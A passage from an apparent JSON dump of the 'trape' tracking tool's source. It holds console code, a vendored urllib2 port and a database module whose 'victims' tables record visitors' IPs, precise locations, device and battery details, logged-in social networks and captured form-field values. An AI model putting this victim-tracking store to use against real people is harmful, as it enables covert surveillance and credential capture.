cursor_adjust(self, x, y, on_stderr=False):\n        handle = win32.STDOUT\n        if on_stderr:\n            handle = win32.STDERR\n        position = self.get_position(handle)\n        adjusted_position = (position.Y + y, position.X + x)\n        win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False)\n\n    def erase_screen(self, mode=0, on_stderr=False):\n        # 0 should clear from the cursor to the end of the screen.\n        # 1 should clear from the cursor to the beginning of the screen.\n        # 2 should clear the entire screen, and move cursor to (1,1)\n        handle = win32.STDOUT\n        if on_stderr:\n            handle = win32.STDERR\n        csbi = win32.GetConsoleScreenBufferInfo(handle)\n        # get the number of character cells in the current buffer\n        cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y\n        # get number of character cells before current cursor position\n        cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X\n        if mode == 0:\n            from_coord = csbi.dwCursorPosition\n            cells_to_erase = cells_in_screen - cells_before_cursor\n        if mode == 1:\n            from_coord = win32.COORD(0, 0)\n            cells_to_erase = cells_before_cursor\n        elif mode == 2:\n            from_coord = win32.COORD(0, 0)\n            cells_to_erase = cells_in_screen\n        # fill the entire screen with blanks\n        win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord)\n        # now set the buffer's attributes accordingly\n        win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord)\n        if mode == 2:\n            # put the cursor where needed\n            win32.SetConsoleCursorPosition(handle, (1, 1))\n\n    def erase_line(self, mode=0, on_stderr=False):\n        # 0 should clear from the cursor to the end of the line.\n        # 1 should clear from the cursor to the beginning of the line.\n        # 2 should clear the entire line.\n        handle = win32.STDOUT\n        if on_stderr:\n            handle = win32.STDERR\n        csbi = win32.GetConsoleScreenBufferInfo(handle)\n        if mode == 0:\n            from_coord = csbi.dwCursorPosition\n            cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X\n        if mode == 1:\n            from_coord = win32.COORD(0, csbi.dwCursorPosition.Y)\n            cells_to_erase = csbi.dwCursorPosition.X\n        elif mode == 2:\n            from_coord = win32.COORD(0, csbi.dwCursorPosition.Y)\n            cells_to_erase = csbi.dwSize.X\n        # fill the entire screen with blanks\n        win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord)\n        # now set the buffer's attributes accordingly\n        win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord)\n\n    def set_title(self, title):\n        win32.SetConsoleTitle(title)\n"
  },
  {
    "path": "core/db.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# **\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For full copyright information this visit: https://github.com/jofpin/trape\n#\n# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>\n# **\nimport sqlite3\nimport os.path as path\n\n\nclass Database(object):\n    def __init__(self):\n        self.firstTime = not(path.exists(\"database.db\"))\n        self.conn = sqlite3.connect(\"database.db\", check_same_thread=False)\n        self.cursor = self.conn.cursor()\n\n    def loadDatabase(self):\n        self.cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS \"geo\" ( `id` TEXT, `city` TEXT, `country_code` TEXT, `country_name` TEXT, `ip` TEXT, `latitude` TEXT, `longitude` TEXT, `metro_code` TEXT, `region_code` TEXT, `region_name` TEXT, `time_zone` TEXT, `zip_code` TEXT, `isp` TEXT, `ua` TEXT, `connection` TEXT, `latitude_browser` TEXT, `longitude_browser` TEXT, `refer` TEXT, PRIMARY KEY(`id`) )\"\"\")\n        self.cursor.execute(\n            \"\"\"CREATE TABLE IF NOT EXISTS \"networks\" ( `id` TEXT, `ip` TEXT, `public_ip` INTEGER, `network` TEXT, `date` TEXT )\"\"\")\n        self.cursor.execute(\n            \"\"\"CREATE TABLE IF NOT EXISTS \"requests\" ( `id` TEXT, `user_id` TEXT, `site` TEXT, `fid` TEXT, `name` TEXT, `value` TEXT, `date` TEXT )\"\"\")\n        self.cursor.execute(\n            \"\"\"CREATE TABLE IF NOT EXISTS \"victims\" ( `id` TEXT, `ip` TEXT, `date` TEXT, `time` REAL, `bVersion` TEXT, `browser` TEXT, `device` TEXT, `cpu` TEXT, `ports` TEXT, `status`  TEXT )\"\"\")\n        self.cursor.execute(\n            \"\"\"CREATE TABLE IF NOT EXISTS \"victims_data\" ( `id` TEXT, `name` TEXT, `last_online` date, `gpu` TEXT, `donottrack` TEXT, `navigation_mode` TEXT)\"\"\")\n        self.cursor.execute(\n            \"\"\"CREATE TABLE IF NOT EXISTS \"victims_battery\" ( `id` TEXT, `charging` TEXT, `time_c` REAL, `time_d` REAL, `level` REAL)\"\"\")\n        self.cursor.execute(\n            \"\"\"CREATE TABLE IF NOT EXISTS \"clicks\" ( `id` TEXT, `site` TEXT, `date` TEXT )\"\"\")\n        self.cursor.execute(\n            \"\"\"CREATE TABLE IF NOT EXISTS \"hostsalive\" ( `id` TEXT, `remote_ip` TEXT, `ping` TEXT, `date` TEXT )\"\"\")\n        self.conn.commit()\n        return True\n\n    def sql_execute(self, sentence):\n        if type(sentence) is str:\n            self.cursor.execute(sentence)\n        else:\n            self.cursor.execute(sentence[0], sentence[1])\n        return self.cursor.fetchall()\n\n    def sql_one_row(self, sentence, column):\n        if type(sentence) is str:\n            self.cursor.execute(sentence)\n        else:\n            self.cursor.execute(sentence[0], sentence[1])\n        return self.cursor.fetchone()[column]\n\n    def sql_insert(self, sentence):\n        if type(sentence) is str:\n            self.cursor.execute(sentence)\n        else:\n            self.cursor.execute(sentence[0], sentence[1])\n        self.conn.commit()\n        return True\n\n    def prop_sentences_stats(self, type, vId=None):\n        return {\n            'get_data': \"SELECT victims.*, geo.id, geo.city, geo.country_code, geo.country_name, geo.ip, geo.latitude, geo.longitude, geo.metro_code, geo.region_code, geo.region_name, geo.time_zone, geo.zip_code, geo.isp, geo.ua, victims.ip AS ip_local, COUNT(clicks.id), geo.connection, clicks.site, geo.refer, victims_data.last_online, victims_data.name, victims_battery.charging, victims_battery.time_c, victims_battery.time_d, victims_battery.level FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id LEFT JOIN victims_battery ON victims_battery.id = victims.id LEFT JOIN victims_data ON victims_data.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC\",\n            'all_networks': \"SELECT networks.* FROM networks ORDER BY id\",\n            'get_preview': (\"SELECT victims.*, geo.id, geo.city, geo.country_code, geo.country_name, geo.ip, geo.latitude, geo.longitude, geo.metro_code, geo.region_code, geo.region_name, geo.time_zone, geo.zip_code, geo.isp, geo.ua, victims.ip AS ip_local, geo.connection, geo.latitude_browser, geo.longitude_browser, victims_battery.charging, victims_battery.time_c, victims_battery.level, victims_battery.time_d, victims_data.navigation_mode, victims_data.donottrack, victims_data.last_online, victims_data.name, victims_data.gpu FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN victims_battery ON victims_battery.id = victims.id LEFT JOIN victims_data ON victims_data.id = victims.id  WHERE victims.id = ?\", vId),\n            'id_networks': (\"SELECT networks.* FROM networks WHERE id = ?\", vId),\n            'get_requests': \"SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id \",\n            'get_sessions': \"SELECT COUNT(*) AS Total FROM networks\",\n            'get_clicks': \"SELECT COUNT(*) AS Total FROM clicks\",\n            'get_online': (\"SELECT COUNT(*) AS Total FROM victims WHERE status = ?\", vId),\n            'get_hostsalive': (\"SELECT hostsalive.* FROM hostsalive WHERE id = ?\", vId),\n            'get_socialimpact': (\"SELECT networks.network, COUNT(DISTINCT networks.id) AS Sessions, COUNT(DISTINCT geo.id) AS Locations, COUNT(DISTINCT clicks.id) AS Interactions FROM networks LEFT JOIN geo ON networks.id = geo.id AND geo.latitude_browser <> '' LEFT JOIN clicks ON networks.id = clicks.id GROUP BY networks.network ORDER BY Sessions DESC, Interactions DESC, Locations DESC, network\")\n        }.get(type, False)\n\n    def sentences_stats(self, type, vId=None):\n        return self.sql_execute(self.prop_sentences_stats(type, vId))\n\n    def prop_sentences_victim(self, type, data=None):\n        if type == 'count_victim':\n            t = (data,)\n            return (\"SELECT COUNT(*) AS C FROM victims WHERE id = ?\", t)\n        elif type == 'count_times':\n            t = (data,)\n            return (\"SELECT COUNT(*) AS C FROM clicks WHERE id = ?\", t)\n        elif type == 'update_victim':\n            t = (data[0].ip, data[0].date, data[0].version, data[0].browser,\n                 data[0].device, data[0].ports, data[2], data[0].cpu, 'online', data[1],)\n            return (\"UPDATE victims SET ip = ?, date = ?, bVersion = ?, browser = ?, device = ?, ports = ?, time = ?, cpu = ?, status = ? WHERE id = ?\", t)\n        elif type == 'update_victim_geo':\n            t = (data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code,\n                 data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[1],)\n            return (\"UPDATE geo SET city = ?, country_code = ?, country_name = ?, ip = ?, latitude = ?, longitude = ?, metro_code = ?, region_code = ?, region_name = ?, time_zone = ?, zip_code = ?, isp = ?, ua=? WHERE id = ?\", t)\n        elif type == 'insert_victim':\n            t = (data[1], data[0].ip, data[0].date, data[0].version, data[0].browser,\n                 data[0].device, data[0].ports, data[2], data[0].cpu, 'online',)\n            return (\"INSERT INTO victims(id, ip, date, bVersion, browser, device, ports, time, cpu, status) VALUES(?,?, ?,?, ?,?, ?, ?, ?, ?)\", t)\n        elif type == 'insert_victim_data':\n            t = (data[0], '', 'online', '{}', '', '',)\n            return (\"INSERT INTO victims_data(id, name, last_online, gpu, donottrack, navigation_mode) VALUES(?, ?, ?, ?, ?, ? )\", t)\n        elif type == 'insert_victim_battery':\n            t = (data[0], '', 0, 0, 100,)\n            return (\"INSERT INTO victims_battery(id, charging, time_c, time_d, level) VALUES(?, ?, ?, ?, ?)\", t)\n        elif type == 'insert_victim_geo':\n            t = (data[1], data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code,\n                 data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[0].refer,)\n            return (\"INSERT INTO geo(id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua, refer) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\", t)\n        elif type == 'count_victim_network':\n            return (\"SELECT COUNT(*) AS C FROM networks WHERE id = ? AND network = ?\", (data[0], data[1],))\n        elif type == 'delete_networks':\n            return (\"DELETE FROM networks WHERE id = ?\", (data[0],))\n        elif type == 'update_network':\n            return (\"UPDATE networks SET date = ? WHERE id = ? AND network = ?\", (data[2], data[0], data[1],))\n        elif type == 'insert_networks':\n            t = (data[0], data[1], data[2], data[3], data[4],)\n            return (\"INSERT INTO networks(id, public_ip, ip, network, date) VALUES(?,?, ?, ?,?)\", t)\n        elif type == 'insert_requests':\n            t = (data[0].sId, data[0].id, data[0].site,\n                 data[0].fid, data[0].name, data[0].value, data[1],)\n            return (\"INSERT INTO requests(id, user_id, site, fid, name, value, date) VALUES(?, ?,?, ?, ?,?, ?)\", t)\n        elif type == 'insert_click':\n            return (\"INSERT INTO clicks(id, site, date) VALUES(?, ?,?)\", (data[0], data[1], data[2],))\n        elif type == 'report_online':\n            return (\"UPDATE victims SET status = ? WHERE id = ?\", ('online', data[0],))\n        elif type == 'clean_online':\n            return (\"UPDATE victims SET status = ? \", ('offline',))\n        elif type == 'clean_online':\n            return (\"UPDATE victims SET status = ? WHERE \", ('offline',))\n        elif type == 'clean_usersnoping':\n            return (\"UPDATE victims SET status = ? WHERE victims.id IN (SELECT id FROM victims_data WHERE julianday(CURRENT_TIMESTAMP) - julianday(replace(victims_data.last_online, ' - ', 'T')) >= ?)\", ('offline', 0.2087,))\n        elif type == 'disconnect_victim':\n            return (\"UPDATE victims SET status = ? WHERE id = ?\", ('offline', data,))\n        elif type == 'location_victim':\n            return (\"UPDATE geo SET latitude_browser = ?, longitude_browser = ? WHERE id = ?\", (data[1], data[2], data[0]))\n        elif type == 'connection_victim':\n            return (\"UPDATE geo SET connection = ?, refer = ? WHERE id = ?\", (data[1], data[2], data[0]))\n        elif type == 'update_battery':\n            return (\"UPDATE victims_battery SET \" + data[2] + \" = ? WHERE id = ?\", (data[1], data[0]))\n        elif type == 'update_navigationmode':\n            return (\"UPDATE victims_data SET navigation_mode = ?, donottrack = ? WHERE id = ?\", (data[1], data[2], data[0]))\n        elif type == 'update_lastping':\n            return (\"UPDATE victims_data SET last_online = ? WHERE id = ?\", (data[1], data[0],))\n        elif type == 'update_name':\n            return (\"UPDATE victims_data SET name = ? WHERE id = ?\", (data[1], data[0],))\n        elif type == 'delete_hostalive':\n            return (\"DELETE FROM hostsalive WHERE id = ?\", (data,))\n        elif type == 'register_hostalive':\n            return (\"INSERT INTO hostsalive (id, remote_ip, ping, date) VALUES(?,?,?,?)\", (data[0], data[1], data[2], data[3]))\n        elif type == 'delete_victim':\n            return (\"DELETE FROM victims WHERE id = ?\", (data,))\n        elif type == 'delete_geo':\n            return (\"DELETE FROM geo WHERE id = ?\", (data,))\n        elif type == 'update_localIp':\n            return (\"UPDATE victims SET ip = ? WHERE id = ?\", (data[1], data[0],))\n        elif type == 'update_gpu':\n            return (\"UPDATE victims_data SET gpu = ? WHERE id = ?\", (data[1], data[0],))\n        else:\n            return False\n\n    def sentences_victim(self, type, data=None, sRun=1, column=0):\n        if sRun == 2:\n            return self.sql_insert(self.prop_sentences_victim(type, data))\n        elif sRun == 3:\n            return self.sql_one_row(self.prop_sentences_victim(type, data), column)\n        else:\n            return self.sql_execute(self.prop_sentences_victim(type, data))\n\n    def __del__(self):\n        self.conn.close()\n"
  },
  {
    "path": "core/dependence/__init__.py",
    "content": "pass"
  },
  {
    "path": "core/dependence/urllib2.py",
    "content": "\"\"\"An extensible library for opening URLs using a variety of protocols\n\nThe simplest way to use this module is to call the urlopen function,\nwhich accepts a string containing a URL or a Request object (described\nbelow).  It opens the URL and returns the results as file-like\nobject; the returned object has some extra methods described below.\n\nThe OpenerDirector manages a collection of Handler objects that do\nall the actual work.  Each Handler implements a particular protocol or\noption.  The OpenerDirector is a composite object that invokes the\nHandlers needed to open the requested URL.  For example, the\nHTTPHandler performs HTTP GET and POST requests and deals with\nnon-error returns.  The HTTPRedirectHandler automatically deals with\nHTTP 301, 302, 303 and 307 redirect errors, and the HTTPDigestAuthHandler\ndeals with digest authentication.\n\nurlopen(url, data=None) -- Basic usage is the same as original\nurllib.  pass the url and optionally data to post to an HTTP URL, and\nget a file-like object back.  One difference is that you can also pass\na Request instance instead of URL.  Raises a URLError (subclass of\nIOError); for HTTP errors, raises an HTTPError, which can also be\ntreated as a valid response.\n\nbuild_opener -- Function that creates a new OpenerDirector instance.\nWill install the default handlers.  Accepts one or more Handlers as\narguments, either instances or Handler classes that it will\ninstantiate.  If one of the argument is a subclass of the default\nhandler, the argument will be installed instead of the default.\n\ninstall_opener -- Installs a new opener as the default opener.\n\nobjects of interest:\n\nOpenerDirector -- Sets up the User Agent as the Python-urllib client and manages\nthe Handler classes, while dealing with requests and responses.\n\nRequest -- An object that encapsulates the state of a request.  The\nstate can be as simple as the URL.  It can also include extra HTTP\nheaders, e.g. a User-Agent.\n\nBaseHandler --\n\nexceptions:\nURLError -- A subclass of IOError, individual protocols have their own\nspecific subclass.\n\nHTTPError -- Also a valid HTTP response, so you can treat an HTTP error\nas an exceptional event or valid response.\n\ninternals:\nBaseHandler and parent\n_call_chain conventions\n\nExample usage:\n\nimport urllib2\n\n# set up authentication info\nauthinfo = urllib2.HTTPBasicAuthHandler()\nauthinfo.add_password(realm='PDQ Application',\n                      uri='https://mahler:8092/site-updates.py',\n                      user='klem',\n                      passwd='geheim$parole')\n\nproxy_support = urllib2.ProxyHandler({\"http\" : \"http://ahad-haam:3128\"})\n\n# build a new opener that adds authentication and caching FTP handlers\nopener = urllib2.build_opener(proxy_support, authinfo, urllib2.CacheFTPHandler)\n\n# install it\nurllib2.install_opener(opener)\n\nf = urllib2.urlopen('http://www.python.org/')\n\n\n\"\"\"\n\n# XXX issues:\n# If an authentication error handler that tries to perform\n# authentication for some reason but fails, how should the error be\n# signalled?  The client needs to know the HTTP error code.  But if\n# the handler knows that the problem was, e.g., that it didn't know\n# that hash algo that requested in the challenge, it would be good to\n# pass that information along to the client, too.\n# ftp errors aren't handled cleanly\n# check digest against correct (i.e. non-apache) implementation\n\n# Possible extensions:\n# complex proxies  XXX not sure what exactly was meant by this\n# abstract factory for opener\n\nimport base64\nimport hashlib\nimport http.client as httplib\nimport email as mimetools\nimport os\nimport posixpath\nimport random\nimport re\nimport socket\nimport sys\nimport time\nimport urllib.parse\nimport bisect\n\ntry:\n    from io import StringIO\nexcept ImportError:\n    from io import StringIO\n\nfrom urllib.parse import (splitport, splittag,  splituser, splitpasswd, splitvalue,\n                          splitattr, unwrap, unquote, splittype, splithost, quote)\nfrom urllib.request import addinfourl\n# from urllib import ftpwrapper\nfrom urllib.request import url2pathname\n\n# used in User-Agent header sent\n__version__ = sys.version[:3]\n\n_opener = None\n\n\ndef urlopen(url, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT):\n    global _opener\n    if _opener is None:\n        _opener = build_opener()\n    return _opener.open(url, data, timeout)\n\n\ndef install_opener(opener):\n    global _opener\n    _opener = opener\n\n# do these error classes make sense?\n# make sure all of the IOError stuff is overridden.  we just want to be\n# subtypes.\n\n\nclass URLError(IOError):\n    # URLError is a sub-type of IOError, but it doesn't share any of\n    # the implementation.  need to override __init__ and __str__.\n    # It sets self.args for compatibility with other EnvironmentError\n    # subclasses, but args doesn't have the typical format with errno in\n    # slot 0 and strerror in slot 1.  This may be better than nothing.\n    def __init__(self, reason):\n        self.args = reason,\n        self.reason = reason\n\n    def __str__(self):\n        return '<urlopen error %s>' % self.reason\n\n\nclass HTTPError(URLError, addinfourl):\n    \"\"\"Raised when HTTP error occurs, but also acts like non-error return\"\"\"\n    __super_init = addinfourl.__init__\n\n    def __init__(self, url, code, msg, hdrs, fp):\n        self.code = code\n        self.msg = msg\n        self.hdrs = hdrs\n        self.fp = fp\n        self.filename = url\n        # The addinfourl classes depend on fp being a valid file\n        # object.  In some cases, the HTTPError may not have a valid\n        # file object.  If this happens, the simplest workaround is to\n        # not initialize the base classes.\n        if fp is not None:\n            self.__super_init(fp, hdrs, url, code)\n\n    def __str__(self):\n        return 'HTTP Error %s: %s' % (self.code, self.msg)\n\n    # since URLError specifies a .reason attribute, HTTPError should also\n    #  provide this attribute. See issue13211 fo discussion.\n    @property\n    def reason(self):\n        return self.msg\n\n\n# copied from cookielib.py\n_cut_port_re = re.compile(r\":\\d+$\")\n\n\ndef request_host(request):\n    \"\"\"Return request-host, as defined by RFC 2965.\n\n    Variation from RFC: returned value is lowercased, for convenient\n    comparison.\n\n    \"\"\"\n    url = request.get_full_url()\n    host = urllib.parse.urlparse(url)[1]\n    if host == \"\":\n        host = request.get_header(\"Host\", \"\")\n\n    # remove port, if present\n    host = _cut_port_re.sub(\"\", host, 1)\n    return host.lower()\n\n\nclass Request:\n\n    def __init__(self, url, data=None, headers={},\n                 origin_req_host=None, unverifiable=False):\n        # unwrap('<URL:type://host/path>') --> 'type://host/path'\n        self.__original = unwrap(url)\n        self.__original, self.__fragment = splittag(self.__original)\n        self.type = None\n        # self.__r_type is what's left after doing the splittype\n        self.host = None\n        self.port = None\n        self._tunnel_host = None\n        self.data = data\n        self.headers = {}\n        for key, value in list(headers.items()):\n            self.add_header(key, value)\n        self.unredirected_hdrs = {}\n        if origin_req_host is None:\n            origin_req_host = request_host(self)\n        self.origin_req_host = origin_req_host\n        self.unverifiable = unverifiable\n\n    def __getattr__(self, attr):\n        # XXX this is a fallback mechanism to guard against these\n        # methods getting called in a non-standard order.  this may be\n        # too complicated and/or unnecessary.\n        # XXX should the __r_XXX attributes be public?\n        if attr[:12] == '_Request__r_':\n            name = attr[12:]\n            if hasattr(Request, 'get_' + name):\n                getattr(self, 'get_' + name)()\n                return getattr(self, attr)\n        raise AttributeError(attr)\n\n    def get_method(self):\n        if self.has_data():\n            return \"POST\"\n        else:\n            return \"GET\"\n\n    # XXX these helper methods are lame\n\n    def add_data(self, data):\n        self.data = data\n\n    def has_data(self):\n        return self.data is not None\n\n    def get_data(self):\n        return self.data\n\n    def get_full_url(self):\n        if self.__fragment:\n            return '%s#%s' % (self.__original, self.__fragment)\n        else:\n            return self.__original\n\n    def get_type(self):\n        if self.type is None:\n            self.type, self.__r_type = splittype(self.__original)\n            if self.type is None:\n                raise ValueError(\"unknown url type: %s\" % self.__original)\n        return self.type\n\n    def get_host(self):\n        if self.host is None:\n            self.host, self.__r_host = splithost(self.__r_type)\n            if self.host:\n                self.host = unquote(self.host)\n        return self.host\n\n    def get_selector(self):\n        return self.__r_host\n\n    def set_proxy(self, host, type):\n        if self.type == 'https' and not self._tunnel_host:\n            self._tunnel_host = self.host\n        else:\n            self.type = type\n            self.__r_host = self.__original\n\n        self.host = host\n\n    def has_proxy(self):\n        return self.__r_host == self.__original\n\n    def get_origin_req_host(self):\n        return self.origin_req_host\n\n    def is_unverifiable(self):\n        return self.unverifiable\n\n    def add_header(self, key, val):\n        # useful for something like authentication\n        self.headers[key.capitalize()] = val\n\n    def add_unredirected_header(self, key, val):\n        # will not be added to a redirected request\n        self.unredirected_hdrs[key.capitalize()] = val\n\n    def has_header(self, header_name):\n        return (header_name in self.headers or\n                header_name in self.unredirected_hdrs)\n\n    def get_header(self, header_name, default=None):\n        return self.headers.get(\n            header_name,\n            self.unredirected_hdrs.get(header_name, default))\n\n    def header_items(self):\n        hdrs = self.unredirected_hdrs.copy()\n        hdrs.update(self.headers)\n        return list(hdrs.items())\n\n\nclass OpenerDirector:\n    def __init__(self):\n        client_version = \"Python-urllib/%s\" % __version__\n        self.addheaders = [('User-agent', client_version)]\n        # self.handlers is retained only for backward compatibility\n        self.handlers = []\n        # manage the individual handlers\n        self.handle_open = {}\n        self.handle_error = {}\n        self.process_response = {}\n        self.process_request = {}\n\n    def add_handler(self, handler):\n        if not hasattr(handler, \"add_parent\"):\n            raise TypeError(\"expected BaseHandler instance, got %r\" %\n                            type(handler))\n\n        added = False\n        for meth in dir(handler):\n            if meth in [\"redirect_request\", \"do_open\", \"proxy_open\"]:\n                # oops, coincidental match\n                continue\n\n            i = meth.find(\"_\")\n            protocol = meth[:i]\n            condition = meth[i+1:]\n\n            if condition.startswith(\"error\"):\n                j = condition.find(\"_\") + i + 1\n                kind = meth[j+1:]\n                try:\n                    kind = int(kind)\n                except ValueError:\n                    pass\n                lookup = self.handle_error.get(protocol, {})\n                self.handle_error[protocol] = lookup\n            elif condition == \"open\":\n                kind = protocol\n                lookup = self.handle_open\n            elif condition == \"response\":\n                kind = protocol\n                lookup = self.process_response\n            elif condition == \"request\":\n                kind = protocol\n                lookup = self.process_request\n            else:\n                continue\n\n            handlers = lookup.setdefault(kind, [])\n            if handlers:\n                bisect.insort(handlers, handler)\n            else:\n                handlers.append(handler)\n            added = True\n\n        if added:\n            bisect.insort(self.handlers, handler)\n            handler.add_parent(self)\n\n    def close(self):\n        # Only exists for backwards compatibility.\n        pass\n\n    def _call_chain(self, chain, kind, meth_name, *args):\n        # Handlers raise an exception if no one else should try to handle\n        # the request, or return None if they can't but another handler\n        # could.  Otherwise, they return the response.\n        handlers = chain.get(kind, ())\n        for handler in handlers:\n            func = getattr(handler, meth_name)\n\n            result = func(*args)\n            if result is not None:\n                return result\n\n    def open(self, fullurl, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT):\n        # accept a URL or a Request object\n        if isinstance(fullurl, str):\n            req = Request(fullurl, data)\n        else:\n            req = fullurl\n            if data is not None:\n                req.add_data(data)\n\n        req.timeout = timeout\n        protocol = req.get_type()\n\n        # pre-process request\n        meth_name = protocol+\"_request\"\n        for processor in self.process_request.get(protocol, []):\n            meth = getattr(processor, meth_name)\n            req = meth(req)\n\n        response = self._open(req, data)\n\n        # post-process response\n        meth_name = protocol+\"_response\"\n        for processor in self.process_response.get(protocol, []):\n            meth = getattr(processor, meth_name)\n            response = meth(req, response)\n\n        return response\n\n    def _open(self, req, data=None):\n        result = self._call_chain(self.handle_open, 'default',\n                                  'default_open', req)\n        if result:\n            return result\n\n        protocol = req.get_type()\n        result = self._call_chain(self.handle_open, protocol, protocol +\n                                  '_open', req)\n        if result:\n            return result\n\n        return self._call_chain(self.handle_open, 'unknown',\n                                'unknown_open', req)\n\n    def error(self, proto, *args):\n        if proto in ('http', 'https'):\n            # XXX http[s] protocols are special-cased\n            dict = self.handle_error['http'] # https is not different than http\n            proto = args[2]  # YUCK!\n            meth_name = 'http_error_%s' % proto\n            http_err = 1\n            orig_args = args\n        else:\n            dict = self.handle_error\n            meth_name = proto + '_error'\n            http_err = 0\n        args = (dict, proto, meth_name) + args\n        result = self._call_chain(*args)\n        if result:\n            return result\n\n        if http_err:\n            args = (dict, 'default', 'http_error_default') + orig_args\n            return self._call_chain(*args)\n\n# XXX probably also want an abstract factory that knows when it makes\n# sense to skip a superclass in favor of a subclass and when it might\n# make sense to include both\n\n\ndef build_opener(*handlers):\n    \"\"\"Create an opener object from a list of handlers.\n\n    The opener will use several default handlers, including support\n    for HTTP, FTP and when applicable, HTTPS.\n\n    If any of the handlers passed as arguments are subclasses of the\n    default handlers, the default handlers will not be used.\n    \"\"\"\n    import types\n\n    def isclass(obj):\n        return isinstance(obj, type)\n\n    opener = OpenerDirector()\n    default_classes = [ProxyHandler, UnknownHandler, HTTPHandler,\n                       HTTPDefaultErrorHandler, HTTPRedirectHandler,\n                       FTPHandler, FileHandler, HTTPErrorProcessor]\n    if hasattr(httplib, 'HTTPS'):\n        default_classes.append(HTTPSHandler)\n    skip = set()\n    for klass in default_classes:\n        for check in handlers:\n            if isclass(check):\n                if issubclass(check, klass):\n                    skip.add(klass)\n            elif isinstance(check, klass):\n                skip.add(klass)\n    for klass in skip:\n        default_classes.remove(klass)\n\n    for klass in default_classes:\n        opener.add_handler(klass())\n\n    for h in handlers:\n        if isclass(h):\n            h = h()\n        opener.add_handler(h)\n    return opener\n\n\nclass BaseHandler:\n    handler_order = 500\n\n    def add_parent(self, parent):\n        self.parent = parent\n\n    def close(self):\n        # Only exists for backwards compatibility\n        pass\n\n    def __lt__(self, other):\n        if not hasattr(other, \"handler_order\"):\n            # Try to preserve the old behavior of having custom classes\n            # inserted after default ones (works only for custom user\n            # classes which are not aware of handler_order).\n            return True\n        return self.handler_order < other.handler_order\n\n\nclass HTTPErrorProcessor(BaseHandler):\n    \"\"\"Process HTTP error responses.\"\"\"\n    handler_order = 1000  # after all other processing\n\n    def http_response(self, request, response):\n        code, msg, hdrs = response.code, response.msg, response.info()\n\n        # According to RFC 2616, \"2xx\" code indicates that the client's\n        # request was successfully received, understood, and accepted.\n        if not (200 <= code < 300):\n            response = self.parent.error(\n                'http', request, response, code, msg, hdrs)\n\n        return response\n\n    https_response = http_response\n\n\nclass HTTPDefaultErrorHandler(BaseHandler):\n    def http_error_default(self, req, fp, code, msg, hdrs):\n        raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)\n\n\nclass HTTPRedirectHandler(BaseHandler):\n    # maximum number of redirections to any single URL\n    # this is needed because of the state that cookies introduce\n    max_repeats = 4\n    # maximum total number of redirections (regardless of URL) before\n    # assuming we're in a loop\n    max_redirections = 10\n\n    def redirect_request(self, req, fp, code, msg, headers, newurl):\n        \"\"\"Return a Request or None in response to a redirect.\n\n        This is called by the http_error_30x methods when a\n        redirection response is received.  If a redirection should\n        take place, return a new Request to allow http_error_30x to\n        perform the redirect.  Otherwise, raise HTTPError if no-one\n        else should try to handle this url.  Return None if you can't\n        but another Handler might.\n        \"\"\"\n        m = req.get_method()\n        if (code in (301, 302, 303, 307) and m in (\"GET\", \"HEAD\")\n                or code in (301, 302, 303) and m == \"POST\"):\n            # Strictly (according to RFC 2616), 301 or 302 in response\n            # to a POST MUST NOT cause a redirection without confirmation\n            # from the user (of urllib2, in this case).  In practice,\n            # essentially all clients do redirect in this case, so we\n            # do the same.\n            # be conciliant with URIs containing a space\n            newurl = newurl.replace(' ', '%20')\n            newheaders = dict((k, v) for k, v in list(req.headers.items())\n                              if k.lower() not in (\"content-length\", \"content-type\")\n                              )\n            return Request(newurl,\n                           headers=newheaders,\n                           origin_req_host=req.get_origin_req_host(),\n                           unverifiable=True)\n        else:\n            raise HTTPError(req.get_full_url(), code, msg, headers, fp)\n\n    # Implementation note: To avoid the server sending us into an\n    # infinite loop, the request object needs to track what URLs we\n    # have already seen.  Do this by adding a handler-specific\n    # attribute to the Request object.\n    def http_error_302(self, req, fp, code, msg, headers):\n        # Some servers (incorrectly) return multiple Location headers\n        # (so probably same goes for URI).  Use first header.\n        if 'location' in headers:\n            newurl = headers.getheaders('location')[0]\n        elif 'uri' in headers:\n            newurl = headers.getheaders('uri')[0]\n        else:\n            return\n\n        # fix a possible malformed URL\n        urlparts = urllib.parse.urlparse(newurl)\n        if not urlparts.path:\n            urlparts = list(urlparts)\n            urlparts[2] = \"/\"\n        newurl = urllib.parse.urlunparse(urlparts)\n\n        newurl = urllib.parse.urljoin(req.get_full_url(), newurl)\n\n        # For security reasons we do not allow redirects to protocols\n        # other than HTTP, HTTPS or FTP.\n        newurl_lower = newurl.lower()\n        if not (newurl_lower.startswith('http://') or\n                newurl_lower.startswith('https://') or\n                newurl_lower.startswith('ftp://')):\n            raise HTTPError(newurl, code,\n                            msg + \" - Redirection to url '%s' is not allowed\" %\n                            newurl,\n                            headers, fp)\n\n        # XXX Probably want to forget about the state of the current\n        